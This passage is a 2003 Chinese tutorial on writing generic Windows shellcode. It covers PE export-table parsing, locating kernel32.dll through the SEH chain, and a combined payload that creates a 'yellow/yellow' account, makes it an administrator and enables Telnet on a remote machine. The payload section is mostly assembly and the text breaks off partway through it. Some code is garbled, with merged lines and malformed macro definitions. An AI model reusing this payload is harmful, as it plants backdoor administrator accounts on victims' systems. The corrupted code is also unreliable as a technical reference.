通用ShellCode深入剖析

                       通用ShellCode深入剖析
                           作者:yellow
                     Email:[email protected]
                    Home Page:www.safechina.net
                         Date:2003-12-19
前言:
    在網上關於ShellCode編寫技術的文章已經非常之多,什麼理由讓我再寫這種技術文
章呢?本文是我上一篇溢出技術文章<Windows 2000緩衝區溢出技術原理>的姊妹篇,同樣
的在網上我們經常可以看到一些關於ShelCode編寫技術的文章,似乎沒有爲初學者準備的
,在這裏我將站在初學者的角度對通用ShellCode進行比較詳細的分析,有了上一篇的溢出
理論和本篇的通用ShellCode理論,基本上我們就可以根據一些公佈的Window溢出漏洞或
是自己對一些軟件系統進行反彙編分析出的溢出漏洞試着編寫一些溢出攻擊測試程序.
    文章首先簡單分析了PE文件格式及PE引出表,並給出了一個例程,演示瞭如何根據PE
相關技術查找引出函數及其地址,隨後分析了一種比較通用的獲得Kernel32基址的方法,
最後結合理論進行簡單的應用,給出了一個通用ShellCode.
    本文同樣結合我學習時的理解以比較容易理解的方式進行描述,但由於ShellCode的
複雜性,文章主要使用C和Asm來講解,作者假設你已具有一定的C/Asm混合編程基礎以及上
一篇的溢出理論基礎,希望本文能讓和我一樣初學溢出技術的朋友有所提高.

[目錄]

1,PE文件結構的簡介,及PE引出表的分析.
  1.1 PE文件簡介
  1.2 引出表分析
  1.3 使用內聯彙編寫一個通用的根據DLL基址獲得引出函數地址的實用函數
      GetFunctionByName

2,通用Kernel32.DLL地址的獲得方法.
  2.1 結構化異常處理和TEB簡介
  2.2 使用內聯彙編寫一個通用的獲得Kernel32.DLL函數基址的實用函數
      GetKernel32

3,綜合運用(一個簡單的通用ShellCode)
  3.1 綜合前面所講解的技術編寫一個添加帳號及開啓Telnet的簡單ShellCode:
      根據第2節所述技術使用我們自己實現的GetFunctionByName獲得LoadLibraryA和
      GetProcAddress函數地址,再使用這兩個函數引入所有我們需要的函數實現期望的
      功能.

4,參考資料.

5,關鍵字.
--------------------------------------------------------------------------------

                    一,PE文件結構及引出表基礎
1,PE文件結構簡介

    PE(Portable Executable,移植的執行體),是微軟Win32環境可執行文件的標準格式
(所謂可執行文件不光是.EXE文件,還包括.DLL/.VXD/.SYS/.VDM等)

PE文件結構(簡化):

                         -----------------
                         │1,DOS MZ header│
                         -----------------
                         │2,DOS stub     │
                         -----------------
                         │3,PE header    │
                         -----------------
                         │4,Section table│
                         -----------------
                         │5,Section 1    │
                         -----------------
                         │6,Section 2    │
                         -----------------
                         │  Section ...  │
                         -----------------
                         │n,Section n    │
                         -----------------

記得在我還沒有接確Win32編程時,我曾在Dos下運行過一個Win32可執行文件,程序只輸出
了一行"This program cannot be run in DOS mode.",我覺得很有意思,它是怎麼識別自
己不在Win32平臺下的呢?其實它並沒有進行識別,它可能簡單到只輸入這一行文字就退出
了,可能源碼就像下面的C程序這麼簡單:

#include <stdio.h>
void main(void)
{
printf("This program cannot be run in DOS mode./n");
}

你可能會問"我在寫Win32程序時並沒有寫過這樣的語句啊?",其實這是由連接器(linker)
爲你構建的一個16位DOS程序,當在16位系統(DOS/Windows 3.x)下運行Win32程序時它纔會
被執行用來輸出一串字符提示用戶"這個程序不能在DOS模式下運行".

我們先來看看DOS MZ header到底是什麼東西,下面是它在Winnt.h中的結構描述:

typedef struct _IMAGE_DOS_HEADER {      //DOS .EXE header
    WORD   e_magic;                     //0x00 Magic number
    WORD   e_cblp;                      //0x02 Bytes on last page of file
    WORD   e_cp;                        //0x04 Pages in file
    WORD   e_crlc;                      //0x06 Relocations
    WORD   e_cparhdr;                   //0x08 Size of header in paragraphs
    WORD   e_minalloc;                  //0x0a Minimum extra paragraphs needed
    WORD   e_maxalloc;                  //0x0c Maximum extra paragraphs needed
    WORD   e_ss;                        //0x0e Initial (relative) SS value
    WORD   e_sp;                        //0x10 Initial SP value
    WORD   e_csum;                      //0x12 Checksum
    WORD   e_ip;                        //0x14 Initial IP value
    WORD   e_cs;                        //0x16 Initial (relative) CS value
    WORD   e_lfarlc;                    //0x18 File address of relocation table
    WORD   e_ovno;                      //0x1a Overlay number
    WORD   e_res[4];                    //0x1c Reserved words
    WORD   e_oemid;                     //0x24 OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;                   //0x26 OEM information; e_oemid specific
    WORD   e_res2[10];                  //0x28 Reserved words
    LONG   e_lfanew;                    //0x3c File address of new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

    DOS MZ header中包括了一些16位DOS程序的初使化值如果IP(指令指針),cs(代碼段寄存
器),需要分配的內存大小,checksum(校驗和)等,當DOS準備爲可執行文件建立進程時會讀取其
中的值來完成初使化工作.

    留意到最後一個結構成員了嗎?微軟的人對它的描述是File address of new exe header
意義是"新的exe文件頭部地址",它是一個相對偏移值,我想文件偏移量你一定知道是什麼吧!
e_lfanew就是一個文件偏移值,它指向PE header,它對我們來說非常重要.緊跟着DOS MZ header
的是DOS stub它是linker爲我們建立的這個16位DOS程序的代碼實體部分,就是它輸出了
"This program cannot be run in DOS mode.".再後面就是PE header了,有人曾問過我PE頭部
相對於.exe文件的偏移是不是固定的?這個可不好說,不同的編譯器生成的stub長度可能不一樣
(比如:它可能存儲了這樣一個字串來提示用戶"The Currnet OS is not Win32,I want to run
in Win32 Mode.",那麼這個stub的長度將比前面的那個長),所以用一個固定值來定位PE header
是不科學的,這個時候我們就用到了e_lfanew,它指向真正的PE header,它總是正確嗎?那是當然
的!linker總是會它賦予一個正確的值.所以我們要它精確定位PE header,同樣的Win32 PELoader
也根據e_lfanew來定位真正的PE header,並使用PE header中的不同的成員值進行初使化,PE還
包涵了很多個"節"(Section),有用來存儲數據的,有用來存可執行代碼的,還有的是用來存資源
的(如:程序圖標,位圖,聲音,對話框模板等)
    下面我只簡單分析一下PE結構與編寫ShellCode相關的部分,如果你對其它部分也比較感興趣
可以看看臺港侯俊傑先生譯的<Windows 95系統程序設計大奧祕>中的相關內容以及Iczelion的經
典PE教程,我個人覺得將兩者結合起來看要好一點.

2,引出表分析

    在PE header結構(你可以Winnt.h中找到它)中包括一個DataDirectory結構成員數組,可以通
過這樣的方法來找到它的位置:
   PE頭部偏移=可執行文件內存映象基址+0x3c(e_lfanew)
   PE基址=可執行文件內存映象基址+PE頭部偏移
   引出表目錄指針(IMAGE_EXPORT_DIRECTORY*)=PE基址+0x78<=---DataDirectory
   引出函數名稱表首指針(char**)=引出表目錄基址+0x20
   引出函數地址表首指針(DWORD **)=引出表目錄指針+0x1c
它的結構定義是這樣的:

typedef struct _Image_Data_Directory{
    DWORD  VirtualAddress;
    DWORD  isize;
}IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;

該結構數組共包括16成員,第一個成員的VirtualAddress存儲了一個相對偏移量,它指向一個
IMAGE_EXPORT_DIRECTORY結構,它的定義是這樣的:

typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;//0x00
    DWORD   TimeDateStamp;//0x04
    WORD    MajorVersion;//0x08
    WORD    MinorVersion;//0x0a
    DWORD   Name;//0x0c
    DWORD   Base;//0x10
    DWORD   NumberOfFunctions;//0x14
    DWORD   NumberOfNames;//0x18
    DWORD   AddressOfFunctions;//0x1c RVA from base of image
    DWORD   AddressOfNames;//0x20 RVA from base of image
    DWORD   AddressOfNameOrdinals;//0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

    其中AddressOfFunctions裏又存儲了一個二級指針,它指向一個DWORD型指針數組該數
組成員所指就是函數地址值,但其中的值是函數相對於可執行文件在內存映象中基地址的一
個相對偏移值,真正的函數地址等於這個相對偏移值+可執行文件在內存映象中的基地址,我
們可以Call這個計算後的真實地址來調用函數.AddressOfNames是一個二級字符指針,該數組
成員所指就是函數名稱字符串相對於可執行文件在內存映象中的基地址的一個偏移值,同樣
可以通過相對偏移值+可執行文件在內存映象中的基地址來引用函數名稱字串.Name也是一個
字符指針,它也只存儲了相對偏移值,如果是kernel32的IMAGE_EXPORT_DIRECTORY那麼它指向
的字串就爲"KERNEL32.dll".

3,本節應用實例

    關於PE和引出表我們已經分析了與編寫ShellCode密切相關的部分,這一部分的確有點難,
但一定要把它搞清楚,只有把它搞懂我們才能進行下一節的學習,在本節的最後附上一個小程序,
在內聯彙編代碼中大量使用了"間接引用",如果你對指針很熟悉基本上它很好理解,在程序裏我
們實現了Windows API GetProcAddress的功能,這種技術對於想使用一些未公開的系統函數也是
非常之有用的.
------------                             -----------------------------------------

GetFunctionByName函數可以從一個PE執行文件中以函數名查找引出表並返回引出函數地址,只
需要知道KERNEL32.DLL的基地址值,使用它在本程序中我們不包括頭文件也可以使用任何一個
Windows API.在我的機器上它是0x77e60000程序如下:

//GetFunctionByName.c
//原型:DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen);
//參數:
//    ImageBase:   可執行文件的內存映象基址
//    FuncName:    函數名稱指針
//    flen:        函數名稱長度
//返回值:
//    函數成功時返回有效的函數地址,失敗時返回0.
//最終在寫ShellCode時,應該給該函數加上__inline聲明,因爲它要與ShellCode融爲一體.

//注意,在本例中我們沒有包括任何一個.h文件

unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen)
{
unsigned int FunNameArray,PE,Count=0,*IED;

__asm
{
mov eax,ImageBase
add eax,0x3c//指向PE頭部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有錯
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase
mov [IED],eax//指向IMAGE_EXPORT_DIRECTORY
//mov eax,[eax+0x0c]
//add eax,ImageBase//指向引出模塊名,如果在查找KERNEL32.DLL的引出函數那麼它將指向"KERNEL32.dll"
//mov eax,[IED]
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函數名稱指針數組的指針值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根據引出函數個數NumberOfFunctions設置最大查找次數
FindLoop:
push ecx//使用一個小技巧,使用程序循環更簡單
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐個字符比較,如果相同則爲找到函數,注意這裏的ecx值
cld
rep cmpsb
jne FindNext//如果當前函數不是指定的函數則查找下一個
add esp,4//如果查找成功,則清除用於控制外層循環而壓入的Ecx,準備返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//獲得函數地址表
shl Count,2//根據函數索引計算函數地址指針=函數地址表基址+(函數索引*4)
add eax,Count
mov eax,[eax]//獲得函數地址相對偏移量
add eax,ImageBase//計算函數真實地址,並通過Eax返回給調用者
jmp Found
FindNext:
inc Count//記錄函數索引
add [FunNameArray],4//下一個函數名指針
mov eax,FunNameArray
pop ecx//恢復壓入的ecx(NumberOfFunctions),進行計數循環
loop FindLoop//如果ecx不爲0則遞減並回到FindLoop,往後查找
NotFound:xor eax,eax//如果沒有找到,則返回0
Found:
}
}
/*
讓我們來測試一下,先用GetFunctionByName獲得kernel32.dll中LoadLibraryA
的地址,再用它裝載user32.dll,再用GetFunctionByName獲得MessageBoxA的地址,call
它一下
*/
int main(void)
{

char title[]="test",user32[]="user32",msgf[]="MessageBoxA";
unsigned int loadlibfun;
loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12);
//0x77e60000是我機器上的kernel32.dll的基址,不同機器上的值可能不同
__asm
{
lea eax,user32
push eax
call dword ptr loadlibfun //相當於執行LoadLibrary("user32");
lea ebx,msgf
push 0x0b//"MessageBoxA"的長度
push ebx
push eax
call GetFunctionByName
mov ebx,eax
add esp,0x0c//GetFunctionByName使用C調用約定,由調用者調整堆棧
push 0
lea eax,title
push eax
push eax
push 0
call ebx//相當於執行MessageBox(NULL,"test","test",MB_OK)
}
return 1;
}
函數的內聯彙編代碼有很多這樣的語句:
mov eax,[somewhere]
mov eax,[eax+0x??]
add eax,ImageBase
我試過使用mov eax,[ImageBase+eax+0x??]之類的語法,因爲用到很多多級指針,而它們指向
的又是相對偏移量所以要不斷的"獲取和計算",否則很容易導致"訪問違例".編譯運行,彈出了
一個MessageBox標題和內容都是"test"看到了嗎?你可能會問這個程序拿到其它機器上也可能
運行嗎?在整個程序裏我們唯一依賴的就是0x77e60000這個kernel32.dll基址,其它機器上的
可能不是這個值,如果這個地址值可以在程序運行時動態的計算出來,那麼這個程序將非常通
用,它可以動態計算出來嗎?答案是肯定的!下一節我們將來分析一種並不很流行但很通用的動
態計算獲得kernel32.dll基址的方法.

---------------------------------------------------------------------------------

                   二,在動態獲得Kernel32.DLL地址方法的分析

1,簡析結構化異常處理(SEH,Structred Exception Handling)
    SEH已經不是很什麼新技術了,但是對於我將要講了非常重要,所以在這裏對它做一個簡單的
分析.Ok,打開VC,讓我們來分析一個簡單的"除"運算程序,看看它哪裏有問題:

#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
z=x/y;
printf("%d DIV %d = %d",x,y,z);
getch();
return 0;
}
編譯,運行:輸入4 2,程序輸出"4 DIV 2 = 2",結果很正確.再運行輸入 4 0,問題出來了,
Visual Studio彈出了一個信息框:
"Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",出現了未處理的
"除0異常",傳統的方法是我們在z=x/y之前加上判斷:
#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
if(!y)
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
z=x/y;
printf("%d DIV %d = %d",x,y,z);
LQUIT:
getch();
return 0;
}
出錯處理在這個小程序裏這的確很容易看懂,可是想想如果在數千甚至上萬行的程序裏,這樣的
錯誤捕獲處理會讓程序變的十分凌亂難懂,而且傳統方法處理的是我們可以想像(猜測)到的錯誤,
但是某些導到程序出錯的情況是很隨機的,這樣就不能保證程序的健壯性了,而SEH正是爲了讓正
常的處理代碼和出錯處理代碼分開,以使程序結構清淅,並使程序更加
健壯.讓我們再把這個小程序改一下:
#include <stdio.h>
#include <conio.h>
#include <windows.h>

int main(void)
{
int x,y,z=y=x=0;
printf("Input Two Integer Number:");
scanf("%d %d",&x,&y);
__try
{//把可能出錯的程序段封裝起來
z=x/y;
                //......
}
__except(EXCEPTION_EXECUTE_HANDLER)
{//在這裏找出出現異常的原因,並進行處理
switch(GetExceptionCode())
{
case EXCEPTION_INT_DIVIDE_BY_ZERO://如果除0異常
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
case EXCEPTION_ACCESS_VIOLATION://內存訪問違例
{
//.....
break;
}
//do other......
default:
break;
}
}
printf("%d DIV %d = %d/n",x,y,z);
LQUIT:
getch();
return 0;
}
這樣我們就使終都可以捕獲到異常了,編譯,選擇"Disassembly",可以看到這樣的代碼:
push        offset __except_handler3 (00401330)
mov         eax,fs:[00000000]
push        eax
mov         dword ptr fs:[0],esp
這是實際上是標準的SEH異常處理函數的註冊方法,我們的__except(){}實際在編譯時被當成一個
線程相關的異常處理函數,實際上這段代碼的作用是將我們的異常處理函數加入異常處理結構鏈
表EXCEPTION_REGISTRATION_RECORD,fs:[0]是這個異常處理函數鏈表的首指針,它的最後一條記錄
的節點指針指向0xffffffff.它的結構描述是這樣的:

typedef struct _EXCEPTION_REGISTRATION_RECORD
{
  struct _EXCEPTION_REGISTRATION_RECORD * pNext;    //指向後面的節點
  FARPROC                                pfnHandler;//指向異常處理函數
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

你可能會問"你怎麼知道fs:[0]是該結構的首指針呢?",當然我沒有那麼天才,從Windows 95系統程序
設計一書中可以得知每當創建一個線程,系統均會爲每個線程分配TEB(Thread Environment Block)
在Windows 9x中被稱爲TIB(Thread Information Block),而且TEB永遠放在fs段選擇器指定的數據段
的0偏移處.
-----------------------------------                       -----------------------------
再看一下TEB的結構定義你就會明白的:
typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---注意這個指針成員
                                         ---------------------------------------------------------
PVOID  pvStackUserTop;        // 04h Top of user stack
PVOID  pvStackUserBase;        // 08h Base of user stack

union                          // 0Ch (NT/Win95 differences)
{
  struct  // Win95 fields
  {
      WORD    pvTDB;          // 0Ch TDB
      WORD    pvThunkSS;      // 0Eh SS selector used for thunking to 16 bits
      DWORD  unknown1;      // 10h
  } WIN95;

  struct  // WinNT fields
  {
      PVOID SubSystemTib;    // 0Ch
      ULONG FiberData;        // 10h
  } WINNT;
} TIB_UNION1;

PVOID  pvArbitrary;            // 14h Available for application use
struct _tib *ptibSelf;          // 18h Linear address of TIB structure

union                          // 1Ch (NT/Win95 differences)
{
  struct  // Win95 fields
  {
      WORD    TIBFlags;          // 1Ch
      WORD    Win16MutexCount;    // 1Eh
      DWORD  DebugContext;      // 20h
      DWORD  pCurrentPriority;  // 24h
      DWORD  pvQueue;            // 28h Message Queue selector
  } WIN95;

  struct  // WinNT fields
  {
      DWORD unknown1;            // 1Ch
      DWORD processID;            // 20h <=---注意這個和下面一個成員
      //-------------
      DWORD threadID;            // 24h <=---注意這個成員
      //-------------
      DWORD unknown2;            // 28h
  } WINNT;
} TIB_UNION2;

PVOID*  pvTLSArray;            // 2Ch Thread Local Storage array

union                          // 30h (NT/Win95 differences)
{
  struct  // Win95 fields
  {
      PVOID*  pProcess;      // 30h Pointer to owning Process Database
  } WIN95;
} TIB_UNION3;

} TIB, *PTIB;

看見了嗎?TEB的第一個成員pvExcept是異常處理鏈首指針Head of exception record list,它相對於
TEB首地址0x00偏移處,而TEB永遠放在fs段寄存器的0x00偏移處,也就是fs段寄存器的0x00偏移處.
看到我讓你留意的另兩個成員了嗎?processID存儲了當前線程屬進程的ID號,threadID存儲了當前線程
ID號,這樣我們又可以實現兩Windows API了:
//MyAPI.c
#include <stdio.h>
#include <conio.h>
#include <windows.h>

__inline __declspec(naked)DWORD GetCurrentProcessId2(void)
{
__asm
{
mov eax,fs:[0x20]//讀取TEB的processID成員內容,通過eax返回
ret
}
}

__inline __declspec(naked)DWORD GetCurrentThreadId2(void)
{
__asm
{
mov eax,fs:[0x24]//讀取TEB的threadID成員內容,通過eax返回
ret
}
}
//測試一下
void main(void)
{
printf("MY PID=%d/tAPI PID=%d/n",GetCurrentProcessId2(),GetCurrentProcessId());
printf("MY TID=%d/tAPI TID=%d/n",GetCurrentThreadId2(),GetCurrentThreadId());
getch();
}
程序輸出:
MY PID=1448     API PID=1448
MY TID=1204     API TID=1204

注意,不同的機器,不同時刻這裏輸出的值可能不一樣,但MY PID恆等於API PID,MY TID恆等API TID.越
來越有意思了吧!說了這麼多,那麼這些與獲得kernel32.dll基址有什麼關係嗎?不要着急,繼續往下看你
就會明白的!

2,通過異常處理函數鏈表查找kernel32.dll基地址

現在讓我們來看看異常處理的順序,它是這樣的:
    當一個異常發生時,系統會從fs:[0]處讀取異常處理函數鏈表首指針,開始問所有在應用程序中註冊的
異常處理函數,比如上面的"除0異常",系統會把這個異常通知我們的異常處理函數,函數識別出是"除0異常",
並給予了處理(輸出了"Can not Divide by Zero!"),並告訴系統"我已經處理過了,不用再問其它函數了".
    如果我們的函數不打算處理這個異常可以交給兄弟節點中異常處理函數指針指向的其它異常處理函數
處理,如果程序中註冊的異常處理均不處理這個異常,那麼系統將把它發送給當前調試工具,如果應用程序當
前不處在調試狀態或是調試工具也不處理這個異常的話,系統將把它發送給kernel32的UnhandledExceptionFilter
函數進行處理,當然它是由程序異常處理鏈最後一個節點的pfnHandler(參考EXCEPTION_REGISTRATION_RECORD)
函數指針成員指向的,該節點的pNext成員將指向0xffffffff.
    看了這麼多有點靈感了嗎?我們已經有了kernel32.dll的一個引出函數的地址了,難道還找不出它的基址
嗎?看看下面的這個小程序吧!
/*
  原型:unsigned int GetKernel32(void);
  參數:無
  返回值:
      函數總是能返回Kernel32.dll的基地址
  說明:根據PE可執行文件特徵從UnhandledExceptionFilter函數地址向上線性查找,使用__inline是爲了與
       最終的ShellCode融爲一體,使用__declspec(naked)是爲了不讓編譯器自作聰明生成一些"廢話",讓它
       完全按照我們自己的Asm語句來描述函數.
*/
#include <stdio.h>
#include <conio.h>

__inline __declspec(naked) unsigned int GetKernel32()
{
  __asm
{
    push esi
push ecx
mov  esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter//如果到達最後一個節點(它的pfnHandler指向UnhandledExceptionFilter)
mov eax,[eax]//否則往後遍歷,一直到最後一個節點
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000//根據PE執行文件以64k對界的特徵加快查找速度
cmp word ptr [eax],'ZM'//根據PE可執行文件特徵查找KERNEL32.DLL的基址
jne MoveUp//如果當前地址不符全MZ頭部特徵,則向上查找
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'//根據PE可執行文件特徵查找KERNEL32.DLL的基址
je Found//如果符合MZ及PE頭部特徵,則認爲已經找到,並通過Eax返回給調用者
MoveUp:
dec eax//準備指向下一個界起始地址
jmp FindMZ
Found:
pop ecx
pop esi
ret
}
}

void main(void)
{
printf("%0.8X/n",GetKernel32());
getch();
}


完成了本節的學習以後,你應該掌握常用於編寫病毒和ShellCode的幾種技術:
1,根據PE文件查找引出函數地址
2,動態計算KERNEL32.DLL的基址
3,動態裝載需要的運行庫及動獲得需要的Windows API(s)
在最後一節裏我們將對前面所分析的技術做一個綜合應用,寫一個簡單的ShellCode
--------------------------------------------------------------------------------------------
                                      三,綜合運用
本節我們將綜合前面分析的技術編寫一個簡單的通用ShellCode,這個ShellCode將首先在遠程機器上新建一個
用戶,用戶名yellow,密碼yellow,如果如果可能將把該用戶加入Administrators用戶組,如果可能還會打開Telnet
服務,請留意我的編碼風格,這樣風格對以後的ShellCode功能擴充提供很大方便.源程序如下:
///////////////////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
//定義API及DLL名稱及其存儲順序,良好的編碼風格對於以後的開發會提供很大的方便
#define APISTART 0
#define GETPROCADDRESS(APISTART+0)
#define LOADLIBRARY(APISTART+1)
#define EXITPROCESS(APISTART+2)
#define WINEXEC(APISTART+3)
#define KNLSTART(EXITPROCESS)
#define KNLEND(WINEXEC)
#define NKNLAPI(4)

#define WSOCKSTART(KNLEND+1)
#define SOCKET(WSOCKSTART+0)
#define BIND(WSOCKSTART+1)
#define CONNECT(WSOCKSTART+2)
#define ACCEPT(WSOCKSTART+3)
#define LISTEN(WSOCKSTART+4)
#define SEND(WSOCKSTART+5)
#define RECV(WSOCKSTART+6)
#define CLOSESOCKET(WSOCKSTART+7)
#define WSASTARTUP(WSOCKSTART+8)
#define WSACLEANUP(WSOCKSTART+9)
#define WSOCKEND(WSACLEANUP)
#define NWSOCKAPI(10)
//define NETAPI,RPCAPI......
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)

#define DLLSTART 0
#define KERNELDLL(DLLSTART+0)
#define WS2_32DLL(DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS2

#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN(COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD3
void ShellCodeFun(void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
FARPROC API[NAPIS];
__asm
{//1,手工獲得KERNEL32.DLL基址,並獲得LoadLibraryA和GetProcAddress函數地址
push esi
push ecx
mov  esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G';    
_emit 'e';    
_emit 't';    
_emit 'P';    
_emit 'r';    
_emit 'o';    
_emit 'c';    
_emit 'A';    
_emit 'd';    
_emit 'd';    
_emit 'r';    
_emit 'e';    
_emit 's';    
_emit 's';    
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L';      
_emit 'o';      
_emit 'a';      
_emit 'd';      
_emit 'L';      
_emit 'i';      
_emit 'b';      
_emit 'r';      
_emit 'a';      
_emit 'r';      
_emit 'y';      
_emit 'A';      
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
mov flen,0x0b
mov Count,0
call FindApi
mov API[LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,填寫需要的DLL名稱,注意這裏和上面定義的宏順序要一樣
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
WS2_32:
pop DLLNAMES[WS2_32DLL * 4]
//3,填寫其它需要的API名稱,注意這裏也要和上面定義和宏順序一樣
call LEXITPROCESS//1
_emit 'E';    
_emit 'x';    
_emit 'i';    
_emit 't';    
_emit 'P';    
_emit 'r';    
_emit 'o';    
_emit 'c';    
_emit 'e';    
_emit 's';    
_emit 's';    
_emit 0x00
LEXITPROCESS:
pop APINAMES[EXITPROCESS * 4]
call LWINEXEC//2
_emit 'W';      
_emit 'i';      
_emit 'n';      
_emit 'E';      
_emit 'x';      
_emit 'e';      
_emit 'c';      
_emit 0x00
LWINEXEC:
pop APINAMES[WINEXEC * 4]
call LSOCKET//3
_emit 's';    
_emit 'o';    
_emit 'c';    
_emit 'k';    
_emit 'e';    
_emit 't';    
_emit 0x00
LSOCKET:
pop APINAMES[SOCKET * 4]
call LBIND//4
_emit 'b';      
_emit 'i';      
_emit 'n';      
_emit 'd';      
_emit 0x00
LBIND:
pop APINAMES[BIND * 4]
call LCONNECT
_emit 'c';      
_emit 'o';      
_emit 'n';      
_emit 'n';      
_emit 'e';      
_emit 'c';      
_emit 't';      
_emit 0x00
LCONNECT:
pop APINAMES[CONNECT * 4]
call LACCEPT//5
_emit 'a';    
_emit 'c';    
_emit 'c';    
_emit 'e';    
_emit 'p';    
_emit 't';    
_emit 0x00
LACCEPT:
pop APINAMEScall LLISTEN//6
_emit 'l';      
_emit 'i';      
_emit 's';      
_emit 't';      
_emit 'e';      
_emit 'n';      
_emit 0x00
LLISTEN:
pop APINAMES[LISTEN * 4]
call LSEND//7
_emit 's';    
_emit 'e';    
_emit 'n';    
_emit 'd';    
_emit 0x00
LSEND:
pop APINAMES[SEND * 4]
call LRECV//8
_emit 'r';    
_emit 'e';    
_emit 'c';    
_emit 'v';    
_emit 0x00
LRECV:
pop APINAMES[RECV * 4]
call CLOSESOCKETL//9
_emit 'c';      
_emit 'l';      
_emit 'o';      
_emit 's';      
_emit 'e';      
_emit 's';      
_emit 'o';      
_emit 'c';      
_emit 'k';      
_emit 'e';      
_emit 't';      
_emit 0x00
CLOSESOCKETL:
pop APINAMES[CLOSESOCKET * 4]
call WSASTARTUPL//10
_emit 'W';    
_emit 'S';    
_emit 'A';    
_emit 'S';    
_emit 't';    
_emit 'a';    
_emit 'r';    
_emit 't';    
_emit 'u';    
_emit 'p';    
_emit 0x00
WSASTARTUPL:
pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL//11
_emit 'W';    
_emit 'S';    
_emit 'A';    
_emit 'C';    
_emit 'l';    
_emit 'e';    
_emit 'a';    
_emit 'n';    
_emit 'u';    
_emit 'p';    
_emit 0x00
WSACLEANUPL:
pop APINAMES[WSACLEANUP * 4]
//nop;可以在這裏設置一個斷點查看DLLNAMES和APINAMES是否填入了需要的內容

//填寫
}
//3,裝載所有需要的DLL
for(i=DLLSTART;i<=DLLEND;i++)
{
DLLS[i]=API[LOADLIBRARY](DLLNAMES[i]);
}
//4,獲取所有需要的API
//4.1取得Windows Kernel API
for(i=KNLSTART;i<=KNLEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES[i]);
}
//4.2取得Windows Sockets API
for(i=WSOCKSTART;i<=WSOCKEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES[i]);
}
//5,編寫ShellCode的功能實體部分
__asm
{
call PUTCOMMAND_ADDUSER
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD[COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit 'n'
_emit 'e'
